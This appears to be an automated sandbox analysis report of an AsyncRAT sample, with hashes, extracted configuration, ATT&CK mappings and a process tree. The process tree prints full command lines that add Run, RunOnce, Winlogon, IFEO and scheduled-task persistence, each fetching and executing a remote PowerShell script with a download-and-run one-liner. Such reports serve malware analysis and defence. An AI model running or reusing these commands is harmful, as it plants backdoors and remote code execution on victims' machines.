asyncrat | 2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73

General

Target
2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73.exe
Size 95KB
Sample261015-yk52psea33
SHA256 2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73
MD5 cb344c4ddcd95ad1d04801028b889155
SHA1 2d788bcb33e2d84bbc936e04dd9164ebb53c5bb2
SHA512 1966831697066c5dd3a156063f028a76051a69e59e5bf255795c836c00ba4e3f857a2fefd98b1049acf62ebe871584cfd443116991f4993de53ae372fbfd4c23
SSDEEP 1536:8+xLZKY27fLB/SmueVZO1NbbsA7czqWzZAlGy+83yFJGc8L7Gix:8QZX27f1PueVk1NbbjcOAy2FUZx
TLSH
T13193E8443BFA4116F2FF5FBCADB16105897AB9232911D75C0CA425CE0A32B81DE52BB7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://fifa55red.me/malware/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

6IVq6mkqQRYw

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3568	powershell.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1636	cmd.exe
4648	cmd.exe
3940	cmd.exe
2708	cmd.exe
5244	cmd.exe
4596	cmd.exe
3564	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73.exe

Meterpreter User-Agent 24 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	36	Meterpreter/1.0 (Windows)
HTTP User-Agent header	111	Meterpreter/1.0 (Windows)
HTTP User-Agent header	117	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12	Meterpreter/1.0 (Windows)
HTTP User-Agent header	15	Meterpreter/1.0 (Windows)
HTTP User-Agent header	19	Meterpreter/1.0 (Windows)
HTTP User-Agent header	26	Meterpreter/1.0 (Windows)
HTTP User-Agent header	228	Meterpreter/1.0 (Windows)
HTTP User-Agent header	39	Meterpreter/1.0 (Windows)
HTTP User-Agent header	40	Meterpreter/1.0 (Windows)
HTTP User-Agent header	216	Meterpreter/1.0 (Windows)
HTTP User-Agent header	235	Meterpreter/1.0 (Windows)
HTTP User-Agent header	236	Meterpreter/1.0 (Windows)
HTTP User-Agent header	9	Meterpreter/1.0 (Windows)
HTTP User-Agent header	11	Meterpreter/1.0 (Windows)
HTTP User-Agent header	33	Meterpreter/1.0 (Windows)
HTTP User-Agent header	35	Meterpreter/1.0 (Windows)
HTTP User-Agent header	191	Meterpreter/1.0 (Windows)
HTTP User-Agent header	212	Meterpreter/1.0 (Windows)
HTTP User-Agent header	109	Meterpreter/1.0 (Windows)
HTTP User-Agent header	137	Meterpreter/1.0 (Windows)
HTTP User-Agent header	181	Meterpreter/1.0 (Windows)
HTTP User-Agent header	207	Meterpreter/1.0 (Windows)
HTTP User-Agent header	257	Meterpreter/1.0 (Windows)

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3764	schtasks.exe
5592	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73.exe
"C:\Users\Admin\AppData\Local\Temp\2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    PID:5560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3940
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    PID:5704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    PID:1084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4596
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    PID:2964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:3564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:1636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3568

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')"
1⤵
PID:3448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
PID:1744

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:3224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_slkghgd1.v5w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_slkghgd1.v5w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/468-0-0x0000000074AA2000-0x0000000074AA3000-memory.dmp

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memory/468-1-0x0000000000920000-0x000000000093E000-memory.dmp

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memory/468-2-0x0000000074A90000-0x000000007524C000-memory.dmp

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memory/468-10-0x0000000074AA2000-0x0000000074AA3000-memory.dmp

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memory/468-11-0x0000000074A90000-0x000000007524C000-memory.dmp

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memory/1744-8-0x000002067EF50000-0x000002067EF98000-memory.dmp

Download

memory/3568-5-0x00000217F2F50000-0x00000217F2F72000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads